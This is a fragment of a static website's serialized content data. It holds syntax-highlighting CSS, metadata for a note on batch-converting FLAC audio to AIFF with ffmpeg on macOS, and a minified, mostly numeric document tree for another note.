var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":27,"searchDepth":28,"depth":28,"links":1142},[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1029,"description":1144},{"loc":1146},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1151,1152,1025,1153],"ffmpeg","audio","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[1156],{"id":41,"title":42,"author":43,"body":1157,"date":661,"description":662,"extension":31,"image":6,"meta":1568,"navigation":33,"path":664,"seo":1569,"sitemap":1570,"stem":667,"tags":1571,"__hash__":673},{"type":8,"value":1158,"toc":1557},[1159,1161,1163,1167,1177,1179,1194,1196,1200,1202,1207,1211,1213,1237,1239,1241,1243,1247,1255,1261,1263,1267,1279,1281,1283,1287,1527,1531,1537,1539,1541,1545,1555],[11,1160,49],{"id":48},[51,1162,54],{"id":53},[15,1164,1165,61],{},[58,1166,60],{},[15,1168,64,1169,68,1171,73,1173,77,1175,81],{},[58,1170,67],{},[70,1172,72],{},[70,1174,76],{},[70,1176,80],{},[51,1178,85],{"id":84},[15,1180,1181,91,1183,1186,1188,103,1190,1192,109],{},[58,1182,90],{},[19,1184,96],{"href":94,"rel":1185},[23],[98,1187],{},[58,1189,102],{},[98,1191],{},[58,1193,108],{},[51,1195,113],{"id":112},[15,1197,116,1198,120],{},[70,1199,119],{},[15,1201,123],{},[125,1203,1205],{"className":1204,"code":129,"language":130},[128],[70,1206,129],{"__ignoreMap":27},[15,1208,135,1209,139],{},[70,1210,138],{},[15,1212,142],{},[125,1214,1215],{"className":145,"code":146,"language":147,"meta":27,"style":27},[70,1216,1217,1221,1225,1229,1233],{"__ignoreMap":27},[151,1218,1219],{"class":153,"line":154},[151,1220,157],{},[151,1222,1223],{"class":153,"line":28},[151,1224,162],{},[151,1226,1227],{"class":153,"line":165},[151,1228,168],{"emptyLinePlaceholder":33},[151,1230,1231],{"class":153,"line":171},[151,1232,174],{},[151,1234,1235],{"class":153,"line":177},[151,1236,180],{},[15,1238,183],{},[51,1240,187],{"id":186},[189,1242,192],{"id":191},[15,1244,195,1245,199],{},[70,1246,198],{},[125,1248,1249],{"className":145,"code":202,"language":147,"meta":27,"style":27},[70,1250,1251],{"__ignoreMap":27},[151,1252,1253],{"class":153,"line":154},[151,1254,202],{},[15,1256,211,1257,215,1259,219],{},[70,1258,214],{},[58,1260,218],{},[189,1262,223],{"id":222},[15,1264,195,1265,229],{},[70,1266,228],{},[125,1268,1269],{"className":145,"code":232,"language":147,"meta":27,"style":27},[70,1270,1271,1275],{"__ignoreMap":27},[151,1272,1273],{"class":153,"line":154},[151,1274,239],{},[151,1276,1277],{"class":153,"line":28},[151,1278,244],{},[15,1280,247],{},[189,1282,251],{"id":250},[15,1284,254,1285,258],{},[70,1286,257],{},[125,1288,1289],{"className":261,"code":262,"language":263,"meta":27,"style":27},[70,1290,1291,1295,1299,1303,1307,1311,1315,1319,1323,1327,1331,1335,1339,1343,1347,1351,1355,1359,1363,1367,1371,1375,1379,1383,1387,1391,1395,1399,1403,1407,1411,1415,1419,1423,1427,1431,1435,1439,1443,1447,1451,1455,1459,1463,1467,1471,1475,1479,1483,1487,1491,1495,1499,1503,1507,1511,1515,1519,1523],{"__ignoreMap":27},[151,1292,1293],{"class":153,"line":154},[151,1294,270],{},[151,1296,1297],{"class":153,"line":28},[151,1298,275],{},[151,1300,1301],{"class":153,"line":165},[151,1302,280],{},[151,1304,1305],{"class":153,"line":171},[151,1306,168],{"emptyLinePlaceholder":33},[151,1308,1309],{"class":153,"line":177},[151,1310,289],{},[151,1312,1313],{"class":153,"line":292},[151,1314,295],{},[151,1316,1317],{"class":153,"line":298},[151,1318,301],{},[151,1320,1321],{"class":153,"line":304},[151,1322,307],{},[151,1324,1325],{"class":153,"line":310},[151,1326,168],{"emptyLinePlaceholder":33},[151,1328,1329],{"class":153,"line":315},[151,1330,318],{},[151,1332,1333],{"class":153,"line":321},[151,1334,324],{},[151,1336,1337],{"class":153,"line":327},[151,1338,330],{},[151,1340,1341],{"class":153,"line":333},[151,1342,168],{"emptyLinePlaceholder":33},[151,1344,1345],{"class":153,"line":338},[151,1346,168],{"emptyLinePlaceholder":33},[151,1348,1349],{"class":153,"line":343},[151,1350,346],{},[151,1352,1353],{"class":153,"line":349},[151,1354,352],{},[151,1356,1357],{"class":153,"line":355},[151,1358,358],{},[151,1360,1361],{"class":153,"line":361},[151,1362,364],{},[151,1364,1365],{"class":153,"line":367},[151,1366,370],{},[151,1368,1369],{"class":153,"line":373},[151,1370,168],{"emptyLinePlaceholder":33},[151,1372,1373],{"class":153,"line":378},[151,1374,168],{"emptyLinePlaceholder":33},[151,1376,1377],{"class":153,"line":383},[151,1378,386],{},[151,1380,1381],{"class":153,"line":389},[151,1382,392],{},[151,1384,1385],{"class":153,"line":395},[151,1386,398],{},[151,1388,1389],{"class":153,"line":401},[151,1390,404],{},[151,1392,1393],{"class":153,"line":407},[151,1394,410],{},[151,1396,1397],{"class":153,"line":413},[151,1398,416],{},[151,1400,1401],{"class":153,"line":419},[151,1402,422],{},[151,1404,1405],{"class":153,"line":425},[151,1406,428],{},[151,1408,1409],{"class":153,"line":431},[151,1410,168],{"emptyLinePlaceholder":33},[151,1412,1413],{"class":153,"line":436},[151,1414,168],{"emptyLinePlaceholder":33},[151,1416,1417],{"class":153,"line":441},[151,1418,444],{},[151,1420,1421],{"class":153,"line":447},[151,1422,450],{},[151,1424,1425],{"class":153,"line":453},[151,1426,456],{},[151,1428,1429],{"class":153,"line":459},[151,1430,410],{},[151,1432,1433],{"class":153,"line":464},[151,1434,467],{},[151,1436,1437],{"class":153,"line":470},[151,1438,473],{},[151,1440,1441],{"class":153,"line":476},[151,1442,168],{"emptyLinePlaceholder":33},[151,1444,1445],{"class":153,"line":481},[151,1446,168],{"emptyLinePlaceholder":33},[151,1448,1449],{"class":153,"line":486},[151,1450,489],{},[151,1452,1453],{"class":153,"line":492},[151,1454,495],{},[151,1456,1457],{"class":153,"line":498},[151,1458,501],{},[151,1460,1461],{"class":153,"line":504},[151,1462,507],{},[151,1464,1465],{"class":153,"line":510},[151,1466,513],{},[151,1468,1469],{"class":153,"line":516},[151,1470,519],{},[151,1472,1473],{"class":153,"line":522},[151,1474,525],{},[151,1476,1477],{"class":153,"line":528},[151,1478,531],{},[151,1480,1481],{"class":153,"line":534},[151,1482,537],{},[151,1484,1485],{"class":153,"line":540},[151,1486,543],{},[151,1488,1489],{"class":153,"line":546},[151,1490,168],{"emptyLinePlaceholder":33},[151,1492,1493],{"class":153,"line":551},[151,1494,168],{"emptyLinePlaceholder":33},[151,1496,1497],{"class":153,"line":556},[151,1498,559],{},[151,1500,1501],{"class":153,"line":562},[151,1502,565],{},[151,1504,1505],{"class":153,"line":568},[151,1506,571],{},[151,1508,1509],{"class":153,"line":574},[151,1510,577],{},[151,1512,1513],{"class":153,"line":580},[151,1514,168],{"emptyLinePlaceholder":33},[151,1516,1517],{"class":153,"line":585},[151,1518,168],{"emptyLinePlaceholder":33},[151,1520,1521],{"class":153,"line":590},[151,1522,593],{},[151,1524,1525],{"class":153,"line":596},[151,1526,599],{},[15,1528,602,1529],{},[70,1530,605],{},[15,1532,608,1533,612,1535,616],{},[70,1534,611],{},[70,1536,615],{},[51,1538,620],{"id":619},[15,1540,623],{},[15,1542,1543],{},[58,1544,628],{},[630,1546,1547,1549,1551],{},[633,1548,635],{},[633,1550,638],{},[633,1552,641,1553,645],{},[70,1554,644],{},[647,1556,649],{},{"title":27,"searchDepth":28,"depth":28,"links":1558},[1559,1560,1561,1562,1567],{"id":53,"depth":28,"text":54},{"id":84,"depth":28,"text":85},{"id":112,"depth":28,"text":113},{"id":186,"depth":28,"text":187,"children":1563},[1564,1565,1566],{"id":191,"depth":165,"text":192},{"id":222,"depth":165,"text":223},{"id":250,"depth":165,"text":251},{"id":619,"depth":28,"text":620},{},{"title":42,"description":662},{"loc":664},[669,670,671,672],1776084468190]